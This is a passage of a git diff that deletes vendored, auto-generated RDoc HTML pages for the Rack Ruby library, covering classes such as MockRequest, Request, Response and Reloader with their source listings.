- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockRequest.html b/vendor/plugins/rack/doc/classes/Rack/MockRequest.html deleted file mode 100644 index b93c51d7..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/MockRequest.html +++ /dev/null @@ -1,375 +0,0 @@ - - - - - - Class: Rack::MockRequest - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::MockRequest
In: - - lib/rack/mock.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::MockRequest helps testing your Rack application without actually using HTTP. -

-

-After performing a request on a URL -with get/post/put/delete, it returns a MockResponse with useful helper methods for -effective testing. -

-

-You can pass a hash with additional configuration to the -get/post/put/delete. -

- - - - -
:input:A String or IO-like to be used as rack.input. - -
:fatal:Raise a FatalWarning if the app -writes to rack.errors. - -
:lint:If true, wrap the application in a Rack::Lint. - -
- -
- - -
- -
-

Methods

- -
- delete   - env_for   - get   - new   - post   - put   - request   -
-
- -
- - - - -
- -
-

Classes and Modules

- - Class Rack::MockRequest::FatalWarner
-Class Rack::MockRequest::FatalWarning
- -
- -
-

Constants

- -
- - - - - - -
DEFAULT_ENV={ "rack.version" => [0,1], "rack.input" => StringIO.new, "rack.errors" => StringIO.new, "rack.multithread" => true, "rack.multiprocess" => true, "rack.run_once" => false, }
-
-
- - - - - - - -
-

Public Class methods

- -
- - -
- - env_for(uri="", opts={}) - -
- -
-

-Return the Rack environment used for a request to uri. -

-

[Source]

-
-
-     # File lib/rack/mock.rb, line 74
- 74:     def self.env_for(uri="", opts={})
- 75:       uri = URI(uri)
- 76:       env = DEFAULT_ENV.dup
- 77: 
- 78:       env["REQUEST_METHOD"] = opts[:method] || "GET"
- 79:       env["SERVER_NAME"] = uri.host || "example.org"
- 80:       env["SERVER_PORT"] = uri.port ? uri.port.to_s : "80"
- 81:       env["QUERY_STRING"] = uri.query.to_s
- 82:       env["PATH_INFO"] = (!uri.path || uri.path.empty?) ? "/" : uri.path
- 83:       env["rack.url_scheme"] = uri.scheme || "http"
- 84: 
- 85:       env["SCRIPT_NAME"] = opts[:script_name] || ""
- 86: 
- 87:       if opts[:fatal]
- 88:         env["rack.errors"] = FatalWarner.new
- 89:       else
- 90:         env["rack.errors"] = StringIO.new
- 91:       end
- 92: 
- 93:       opts[:input] ||= ""
- 94:       if String === opts[:input]
- 95:         env["rack.input"] = StringIO.new(opts[:input])
- 96:       else
- 97:         env["rack.input"] = opts[:input]
- 98:       end
- 99: 
-100:       opts.each { |field, value|
-101:         env[field] = value  if String === field
-102:       }
-103: 
-104:       env
-105:     end
-
-
-
-
- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 51
-51:     def initialize(app)
-52:       @app = app
-53:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - delete(uri, opts={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 58
-58:     def delete(uri, opts={}) request("DELETE", uri, opts) end
-
-
-
-
- -
- - -
- - get(uri, opts={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 55
-55:     def get(uri, opts={})    request("GET", uri, opts)    end
-
-
-
-
- -
- - -
- - post(uri, opts={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 56
-56:     def post(uri, opts={})   request("POST", uri, opts)   end
-
-
-
-
- -
- - -
- - put(uri, opts={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 57
-57:     def put(uri, opts={})    request("PUT", uri, opts)    end
-
-
-
-
- -
- - -
- - request(method="GET", uri="", opts={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 60
-60:     def request(method="GET", uri="", opts={})
-61:       env = self.class.env_for(uri, opts.merge(:method => method))
-62: 
-63:       if opts[:lint]
-64:         app = Rack::Lint.new(@app)
-65:       else
-66:         app = @app
-67:       end
-68: 
-69:       errors = env["rack.errors"]
-70:       MockResponse.new(*(app.call(env) + [errors]))
-71:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html b/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html deleted file mode 100644 index 921d912b..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html +++ /dev/null @@ -1,217 +0,0 @@ - - - - - - Class: Rack::MockRequest::FatalWarner - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::MockRequest::FatalWarner
In: - - lib/rack/mock.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- flush   - puts   - string   - write   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Instance methods

- -
- - -
- - flush() - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 34
-34:       def flush
-35:       end
-
-
-
-
- -
- - -
- - puts(warning) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 26
-26:       def puts(warning)
-27:         raise FatalWarning, warning
-28:       end
-
-
-
-
- -
- - -
- - string() - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 37
-37:       def string
-38:         ""
-39:       end
-
-
-
-
- -
- - -
- - write(warning) - -
- -
-

[Source]

-
-
-    # File lib/rack/mock.rb, line 30
-30:       def write(warning)
-31:         raise FatalWarning, warning
-32:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html b/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html deleted file mode 100644 index 1575ab21..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - Class: Rack::MockRequest::FatalWarning - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::MockRequest::FatalWarning
In: - - lib/rack/mock.rb - -
-
Parent: - RuntimeError -
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockResponse.html b/vendor/plugins/rack/doc/classes/Rack/MockResponse.html deleted file mode 100644 index 1c5363ec..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/MockResponse.html +++ /dev/null @@ -1,298 +0,0 @@ - - - - - - Class: Rack::MockResponse - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::MockResponse
In: - - lib/rack/mock.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::MockResponse provides useful helpers -for testing your apps. Usually, you don‘t create the MockResponse on your own, but use MockRequest. -

- -
- - -
- -
-

Methods

- -
- =~   - []   - match   - new   -
-
- -
- - - -
-

Included Modules

- - -
- -
- - - - - -
-

Attributes

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - -
body [R]  -Body - -
errors [RW]  -Errors - -
headers [R]  -Headers - -
original_headers [R]  -Headers - -
status [R]  -Status - -
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(status, headers, body, errors=StringIO.new("")) - -
- -
-

[Source]

-
-
-     # File lib/rack/mock.rb, line 113
-113:     def initialize(status, headers, body, errors=StringIO.new(""))
-114:       @status = status.to_i
-115: 
-116:       @original_headers = headers
-117:       @headers = Rack::Utils::HeaderHash.new
-118:       headers.each { |field, values|
-119:         values.each { |value|
-120:           @headers[field] = value
-121:         }
-122:         @headers[field] = ""  if values.empty?
-123:       }
-124: 
-125:       @body = ""
-126:       body.each { |part| @body << part }
-127: 
-128:       @errors = errors.string
-129:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - =~(other) - -
- -
-

[Source]

-
-
-     # File lib/rack/mock.rb, line 145
-145:     def =~(other)
-146:       @body =~ other
-147:     end
-
-
-
-
- -
- - -
- - [](field) - -
- -
-

[Source]

-
-
-     # File lib/rack/mock.rb, line 137
-137:     def [](field)
-138:       headers[field]
-139:     end
-
-
-
-
- -
- - -
- - match(other) - -
- -
-

[Source]

-
-
-     # File lib/rack/mock.rb, line 149
-149:     def match(other)
-150:       @body.match other
-151:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Recursive.html b/vendor/plugins/rack/doc/classes/Rack/Recursive.html deleted file mode 100644 index d54eef03..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Recursive.html +++ /dev/null @@ -1,218 +0,0 @@ - - - - - - Class: Rack::Recursive - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Recursive
In: - - lib/rack/recursive.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Recursive allows applications called -down the chain to include data from -other applications (by using rack[…] or raise a ForwardRequest to redirect internally. -

- -
- - -
- -
-

Methods

- -
- call   - include   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/recursive.rb, line 33
-33:     def initialize(app)
-34:       @app = app
-35:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/recursive.rb, line 37
-37:     def call(env)
-38:       @script_name = env["SCRIPT_NAME"]
-39:       @app.call(env.merge('rack.recursive.include' => method(:include)))
-40:     rescue ForwardRequest => req
-41:       call(env.merge(req.env))
-42:     end
-
-
-
-
- -
- - -
- - include(env, path) - -
- -
-

[Source]

-
-
-    # File lib/rack/recursive.rb, line 44
-44:     def include(env, path)
-45:       unless path.index(@script_name) == 0 && (path[@script_name.size] == ?/ ||
-46:                                                path[@script_name.size].nil?)
-47:         raise ArgumentError, "can only include below #{@script_name}, not #{path}"
-48:       end
-49: 
-50:       env = env.merge("PATH_INFO" => path, "SCRIPT_NAME" => @script_name,
-51:                       "REQUEST_METHOD" => "GET",
-52:                       "CONTENT_LENGTH" => "0", "CONTENT_TYPE" => "",
-53:                       "rack.input" => StringIO.new(""))
-54:       @app.call(env)
-55:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Reloader.html b/vendor/plugins/rack/doc/classes/Rack/Reloader.html deleted file mode 100644 index 395f7644..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Reloader.html +++ /dev/null @@ -1,249 +0,0 @@ - - - - - - Class: Rack::Reloader - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Reloader
In: - - lib/rack/reloader.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Reloader checks on every request, but at -most every secs seconds, if a file loaded changed, and reloads it, -logging to rack.errors. -

-

-It is recommended you use ShowExceptions -to catch SyntaxErrors etc. -

- -
- - -
- -
-

Methods

- -
- call   - new   - reload!   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app, secs=10) - -
- -
-

[Source]

-
-
-    # File lib/rack/reloader.rb, line 11
-11:     def initialize(app, secs=10)
-12:       @app = app
-13:       @secs = secs              # reload every @secs seconds max
-14:       @last = Time.now
-15:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/reloader.rb, line 17
-17:     def call(env)
-18:       if Time.now > @last + @secs
-19:         Thread.exclusive {
-20:           reload!(env['rack.errors'])
-21:           @last = Time.now
-22:         }
-23:       end
-24: 
-25:       @app.call(env)
-26:     end
-
-
-
-
- -
- - -
- - reload!(stderr=STDERR) - -
- -
-

[Source]

-
-
-    # File lib/rack/reloader.rb, line 28
-28:     def reload!(stderr=STDERR)
-29:       need_reload = $LOADED_FEATURES.find_all { |loaded|
-30:         begin
-31:           if loaded =~ /\A[.\/]/  # absolute filename or 1.9
-32:             abs = loaded
-33:           else
-34:             abs = $LOAD_PATH.map { |path| ::File.join(path, loaded) }.
-35:                              find { |file| ::File.exist? file }
-36:           end
-37: 
-38:           if abs
-39:             ::File.mtime(abs) > @last - @secs  rescue false
-40:           else
-41:             false
-42:           end
-43:         end
-44:       }
-45: 
-46:       need_reload.each { |l|
-47:         $LOADED_FEATURES.delete l
-48:       }
-49: 
-50:       need_reload.each { |to_load|
-51:         begin
-52:           if require to_load
-53:             stderr.puts "#{self.class}: reloaded `#{to_load}'"
-54:           end
-55:         rescue LoadError, SyntaxError => e
-56:           raise e                 # Possibly ShowExceptions
-57:         end
-58:       }
-59: 
-60:       stderr.flush
-61:       need_reload
-62:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Request.html b/vendor/plugins/rack/doc/classes/Rack/Request.html deleted file mode 100644 index 3250dca9..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Request.html +++ /dev/null @@ -1,1126 +0,0 @@ - - - - - - Class: Rack::Request - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Request
In: - - lib/rack/request.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Request provides a convenient interface to -a Rack environment. It is stateless, the -environment env passed to the constructor will be directly -modified. -

-
-  req = Rack::Request.new(env)
-  req.post?
-  req.params["data"]
-
- -
- - -
- -
-

Methods

- -
- GET   - POST   - []   - []=   - accept_encoding   - body   - content_charset   - content_length   - content_type   - cookies   - delete?   - form_data?   - fullpath   - get?   - head?   - host   - ip   - media_type   - media_type_params   - new   - params   - path_info   - path_info=   - port   - post?   - put?   - query_string   - referer   - referrer   - request_method   - scheme   - script_name   - script_name=   - url   - values_at   - xhr?   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - - - -
FORM_DATA_MEDIA_TYPES=[ nil, 'application/x-www-form-urlencoded', 'multipart/form-data'  -The set of form-data media-types. Requests that do not indicate one of the -media types presents in this list will not be eligible for form-data / -param parsing. - -
-
-
- - - -
-

Attributes

- -
- - - - - - -
env [R]  -The environment of the request. - -
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 16
-16:     def initialize(env)
-17:       @env = env
-18:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - GET() - -
- -
-

-Returns the data recieved in the query string. -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 93
- 93:     def GET
- 94:       if @env["rack.request.query_string"] == query_string
- 95:         @env["rack.request.query_hash"]
- 96:       else
- 97:         @env["rack.request.query_string"] = query_string
- 98:         @env["rack.request.query_hash"]   =
- 99:           Utils.parse_query(query_string)
-100:       end
-101:     end
-
-
-
-
- -
- - -
- - POST() - -
- -
-

-Returns the data recieved in the request body. -

-

-This method support both application/x-www-form-urlencoded and -multipart/form-data. -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 107
-107:     def POST
-108:       if @env["rack.request.form_input"].eql? @env["rack.input"]
-109:         @env["rack.request.form_hash"]
-110:       elsif form_data?
-111:         @env["rack.request.form_input"] = @env["rack.input"]
-112:         unless @env["rack.request.form_hash"] =
-113:             Utils::Multipart.parse_multipart(env)
-114:           @env["rack.request.form_vars"] = @env["rack.input"].read
-115:           @env["rack.request.form_hash"] = Utils.parse_query(@env["rack.request.form_vars"])
-116:           @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind)
-117:         end
-118:         @env["rack.request.form_hash"]
-119:       else
-120:         {}
-121:       end
-122:     end
-
-
-
-
- -
- - -
- - [](key) - -
- -
-

-shortcut for request.params[key] -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 132
-132:     def [](key)
-133:       params[key.to_s]
-134:     end
-
-
-
-
- -
- - -
- - []=(key, value) - -
- -
-

-shortcut for request.params[key] = value -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 137
-137:     def []=(key, value)
-138:       params[key.to_s] = value
-139:     end
-
-
-
-
- -
- - -
- - accept_encoding() - -
- -
-

[Source]

-
-
-     # File lib/rack/request.rb, line 198
-198:     def accept_encoding
-199:       @env["HTTP_ACCEPT_ENCODING"].to_s.split(/,\s*/).map do |part|
-200:         m = /^([^\s,]+?)(?:;\s*q=(\d+(?:\.\d+)?))?$/.match(part) # From WEBrick
-201: 
-202:         if m
-203:           [m[1], (m[2] || 1.0).to_f]
-204:         else
-205:           raise "Invalid value for Accept-Encoding: #{part.inspect}"
-206:         end
-207:       end
-208:     end
-
-
-
-
- -
- - -
- - body() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 20
-20:     def body;            @env["rack.input"]                       end
-
-
-
-
- -
- - -
- - content_charset() - -
- -
-

-The character set of the request body if -a "charset" media type parameter was given, or nil if no -"charset" was specified. Note that, per RFC2616, text/* media -types that specify no explicit charset are to be considered ISO-8859-1. -

-

[Source]

-
-
-    # File lib/rack/request.rb, line 56
-56:     def content_charset
-57:       media_type_params['charset']
-58:     end
-
-
-
-
- -
- - -
- - content_length() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 27
-27:     def content_length;  @env['CONTENT_LENGTH']                   end
-
-
-
-
- -
- - -
- - content_type() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 28
-28:     def content_type;    @env['CONTENT_TYPE']                     end
-
-
-
-
- -
- - -
- - cookies() - -
- -
-

[Source]

-
-
-     # File lib/rack/request.rb, line 153
-153:     def cookies
-154:       return {}  unless @env["HTTP_COOKIE"]
-155: 
-156:       if @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"]
-157:         @env["rack.request.cookie_hash"]
-158:       else
-159:         @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"]
-160:         # According to RFC 2109:
-161:         #   If multiple cookies satisfy the criteria above, they are ordered in
-162:         #   the Cookie header such that those with more specific Path attributes
-163:         #   precede those with less specific.  Ordering with respect to other
-164:         #   attributes (e.g., Domain) is unspecified.
-165:         @env["rack.request.cookie_hash"] =
-166:           Utils.parse_query(@env["rack.request.cookie_string"], ';,').inject({}) {|h,(k,v)|
-167:             h[k] = Array === v ? v.first : v
-168:             h
-169:           }
-170:       end
-171:     end
-
-
-
-
- -
- - -
- - delete?() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 71
-71:     def delete?;         request_method == "DELETE"               end
-
-
-
-
- -
- - -
- - form_data?() - -
- -
-

-Determine whether the request body -contains form-data by checking the request media_type against registered form-data -media-types: "application/x-www-form-urlencoded" and -"multipart/form-data". The list of form-data media types can be -modified through the FORM_DATA_MEDIA_TYPES array. -

-

[Source]

-
-
-    # File lib/rack/request.rb, line 88
-88:     def form_data?
-89:       FORM_DATA_MEDIA_TYPES.include?(media_type)
-90:     end
-
-
-
-
- -
- - -
- - fullpath() - -
- -
-

[Source]

-
-
-     # File lib/rack/request.rb, line 192
-192:     def fullpath
-193:       path = script_name + path_info
-194:       path << "?" << query_string  unless query_string.empty?
-195:       path
-196:     end
-
-
-
-
- -
- - -
- - get?() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 68
-68:     def get?;            request_method == "GET"                  end
-
-
-
-
- -
- - -
- - head?() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 72
-72:     def head?;           request_method == "HEAD"                 end
-
-
-
-
- -
- - -
- - host() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 60
-60:     def host
-61:       # Remove port number.
-62:       (@env["HTTP_HOST"] || @env["SERVER_NAME"]).gsub(/:\d+\z/, '')
-63:     end
-
-
-
-
- -
- - -
- - ip() - -
- -
-

[Source]

-
-
-     # File lib/rack/request.rb, line 210
-210:     def ip
-211:       if addr = @env['HTTP_X_FORWARDED_FOR']
-212:         addr.split(',').last.strip
-213:       else
-214:         @env['REMOTE_ADDR']
-215:       end
-216:     end
-
-
-
-
- -
- - -
- - media_type() - -
- -
-

-The media type (type/subtype) portion of the CONTENT_TYPE header without -any media type parameters. e.g., when CONTENT_TYPE is -"text/plain;charset=utf-8", the media-type is -"text/plain". -

-

-For more information on the use of media types in HTTP, see: www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.7 -

-

[Source]

-
-
-    # File lib/rack/request.rb, line 36
-36:     def media_type
-37:       content_type && content_type.split(/\s*[;,]\s*/, 2)[0].downcase
-38:     end
-
-
-
-
- -
- - -
- - media_type_params() - -
- -
-

-The media type parameters provided in CONTENT_TYPE as a Hash, or an empty -Hash if no CONTENT_TYPE or media-type parameters were provided. e.g., when -the CONTENT_TYPE is "text/plain;charset=utf-8", this method -responds with the following Hash: -

-
-  { 'charset' => 'utf-8' }
-
-

[Source]

-
-
-    # File lib/rack/request.rb, line 45
-45:     def media_type_params
-46:       return {} if content_type.nil?
-47:       content_type.split(/\s*[;,]\s*/)[1..-1].
-48:         collect { |s| s.split('=', 2) }.
-49:         inject({}) { |hash,(k,v)| hash[k.downcase] = v ; hash }
-50:     end
-
-
-
-
- -
- - -
- - params() - -
- -
-

-The union of GET and POST data. -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 125
-125:     def params
-126:       self.put? ? self.GET : self.GET.update(self.POST)
-127:     rescue EOFError => e
-128:       self.GET
-129:     end
-
-
-
-
- -
- - -
- - path_info() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 23
-23:     def path_info;       @env["PATH_INFO"].to_s                   end
-
-
-
-
- -
- - -
- - path_info=(s) - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 66
-66:     def path_info=(s);   @env["PATH_INFO"] = s.to_s               end
-
-
-
-
- -
- - -
- - port() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 24
-24:     def port;            @env["SERVER_PORT"].to_i                 end
-
-
-
-
- -
- - -
- - post?() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 69
-69:     def post?;           request_method == "POST"                 end
-
-
-
-
- -
- - -
- - put?() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 70
-70:     def put?;            request_method == "PUT"                  end
-
-
-
-
- -
- - -
- - query_string() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 26
-26:     def query_string;    @env["QUERY_STRING"].to_s                end
-
-
-
-
- -
- - -
- - referer() - -
- -
-

-the referer of the client or -’/’ -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 147
-147:     def referer
-148:       @env['HTTP_REFERER'] || '/'
-149:     end
-
-
-
-
- -
- - -
- referrer() -
- -
-

-Alias for referer -

-
-
- -
- - -
- - request_method() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 25
-25:     def request_method;  @env["REQUEST_METHOD"]                   end
-
-
-
-
- -
- - -
- - scheme() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 21
-21:     def scheme;          @env["rack.url_scheme"]                  end
-
-
-
-
- -
- - -
- - script_name() - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 22
-22:     def script_name;     @env["SCRIPT_NAME"].to_s                 end
-
-
-
-
- -
- - -
- - script_name=(s) - -
- -
-

[Source]

-
-
-    # File lib/rack/request.rb, line 65
-65:     def script_name=(s); @env["SCRIPT_NAME"] = s.to_s             end
-
-
-
-
- -
- - -
- - url() - -
- -
-

-Tries to return a remake of the original request URL as a string. -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 178
-178:     def url
-179:       url = scheme + "://"
-180:       url << host
-181: 
-182:       if scheme == "https" && port != 443 ||
-183:           scheme == "http" && port != 80
-184:         url << ":#{port}"
-185:       end
-186: 
-187:       url << fullpath
-188: 
-189:       url
-190:     end
-
-
-
-
- -
- - -
- - values_at(*keys) - -
- -
-

-like Hash#values_at -

-

[Source]

-
-
-     # File lib/rack/request.rb, line 142
-142:     def values_at(*keys)
-143:       keys.map{|key| params[key] }
-144:     end
-
-
-
-
- -
- - -
- - xhr?() - -
- -
-

[Source]

-
-
-     # File lib/rack/request.rb, line 173
-173:     def xhr?
-174:       @env["HTTP_X_REQUESTED_WITH"] == "XMLHttpRequest"
-175:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Response.html b/vendor/plugins/rack/doc/classes/Rack/Response.html deleted file mode 100644 index bb48d358..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Response.html +++ /dev/null @@ -1,518 +0,0 @@ - - - - - - Class: Rack::Response - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Response
In: - - lib/rack/response.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Response provides a convenient interface -to create a Rack response. -

-

-It allows setting of headers and cookies, and provides useful defaults (a -OK response containing HTML). -

-

-You can use Response#write to -iteratively generate your response, but note that this is buffered by Rack::Response until you call finish. finish however can take a block -inside which calls to write -are syncronous with the Rack response. -

-

-Your application‘s call should end returning Response#finish. -

- -
- - -
- -
-

Methods

- -
- []   - []=   - close   - delete_cookie   - each   - empty?   - finish   - new   - set_cookie   - to_a   - write   -
-
- -
- - - -
-

Included Modules

- -
- Helpers -
-
- -
- -
-

Classes and Modules

- - Module Rack::Response::Helpers
- -
- - -
-

External Aliases

- -
- - - - - - -
header->headers
-
-
- - -
-

Attributes

- -
- - - - - - - - - - - - - - - - -
body [RW] 
header [R] 
status [RW] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(body=[], status=200, header={}) {|self if block_given?| ...} - -
- -
-

[Source]

-
-
-    # File lib/rack/response.rb, line 19
-19:     def initialize(body=[], status=200, header={}, &block)
-20:       @status = status
-21:       @header = Utils::HeaderHash.new({"Content-Type" => "text/html"}.
-22:                                       merge(header))
-23: 
-24:       @writer = lambda { |x| @body << x }
-25:       @block = nil
-26:       @length = 0
-27: 
-28:       @body = []
-29: 
-30:       if body.respond_to? :to_str
-31:         write body.to_str
-32:       elsif body.respond_to?(:each)
-33:         body.each { |part|
-34:           write part.to_s
-35:         }
-36:       else
-37:         raise TypeError, "stringable or iterable required"
-38:       end
-39: 
-40:       yield self  if block_given?
-41:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - [](key) - -
- -
-

[Source]

-
-
-    # File lib/rack/response.rb, line 46
-46:     def [](key)
-47:       header[key]
-48:     end
-
-
-
-
- -
- - -
- - []=(key, value) - -
- -
-

[Source]

-
-
-    # File lib/rack/response.rb, line 50
-50:     def []=(key, value)
-51:       header[key] = value
-52:     end
-
-
-
-
- -
- - -
- - close() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 122
-122:     def close
-123:       body.close if body.respond_to?(:close)
-124:     end
-
-
-
-
- -
- - -
- - delete_cookie(key, value={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/response.rb, line 81
-81:     def delete_cookie(key, value={})
-82:       unless Array === self["Set-Cookie"]
-83:         self["Set-Cookie"] = [self["Set-Cookie"]].compact
-84:       end
-85: 
-86:       self["Set-Cookie"].reject! { |cookie|
-87:         cookie =~ /\A#{Utils.escape(key)}=/
-88:       }
-89: 
-90:       set_cookie(key,
-91:                  {:value => '', :path => nil, :domain => nil,
-92:                    :expires => Time.at(0) }.merge(value))
-93:     end
-
-
-
-
- -
- - -
- - each(&callback) - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 109
-109:     def each(&callback)
-110:       @body.each(&callback)
-111:       @writer = callback
-112:       @block.call(self)  if @block
-113:     end
-
-
-
-
- -
- - -
- - empty?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 126
-126:     def empty?
-127:       @block == nil && @body.empty?
-128:     end
-
-
-
-
- -
- - -
- - finish(&block) - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 96
- 96:     def finish(&block)
- 97:       @block = block
- 98: 
- 99:       if [204, 304].include?(status.to_i)
-100:         header.delete "Content-Type"
-101:         [status.to_i, header.to_hash, []]
-102:       else
-103:         header["Content-Length"] ||= @length.to_s
-104:         [status.to_i, header.to_hash, self]
-105:       end
-106:     end
-
-
-
-
- -
- - -
- - set_cookie(key, value) - -
- -
-

[Source]

-
-
-    # File lib/rack/response.rb, line 54
-54:     def set_cookie(key, value)
-55:       case value
-56:       when Hash
-57:         domain  = "; domain="  + value[:domain]    if value[:domain]
-58:         path    = "; path="    + value[:path]      if value[:path]
-59:         # According to RFC 2109, we need dashes here.
-60:         # N.B.: cgi.rb uses spaces...
-61:         expires = "; expires=" + value[:expires].clone.gmtime.
-62:           strftime("%a, %d-%b-%Y %H:%M:%S GMT")    if value[:expires]
-63:         secure = "; secure"  if value[:secure]
-64:         value = value[:value]
-65:       end
-66:       value = [value]  unless Array === value
-67:       cookie = Utils.escape(key) + "=" +
-68:         value.map { |v| Utils.escape v }.join("&") +
-69:         "#{domain}#{path}#{expires}#{secure}"
-70: 
-71:       case self["Set-Cookie"]
-72:       when Array
-73:         self["Set-Cookie"] << cookie
-74:       when String
-75:         self["Set-Cookie"] = [self["Set-Cookie"], cookie]
-76:       when nil
-77:         self["Set-Cookie"] = cookie
-78:       end
-79:     end
-
-
-
-
- -
- - -
- to_a(&block) -
- -
-

-Alias for finish -

-
-
- -
- - -
- - write(str) - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 115
-115:     def write(str)
-116:       s = str.to_s
-117:       @length += s.size
-118:       @writer.call s
-119:       str
-120:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html b/vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html deleted file mode 100644 index 5602be82..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html +++ /dev/null @@ -1,479 +0,0 @@ - - - - - - Module: Rack::Response::Helpers - - - - - - - - - - -
- - - - - - - - - - -
ModuleRack::Response::Helpers
In: - - lib/rack/response.rb - -
-
-
- - -
- - - -
- - - -
- -
-

Methods

- -
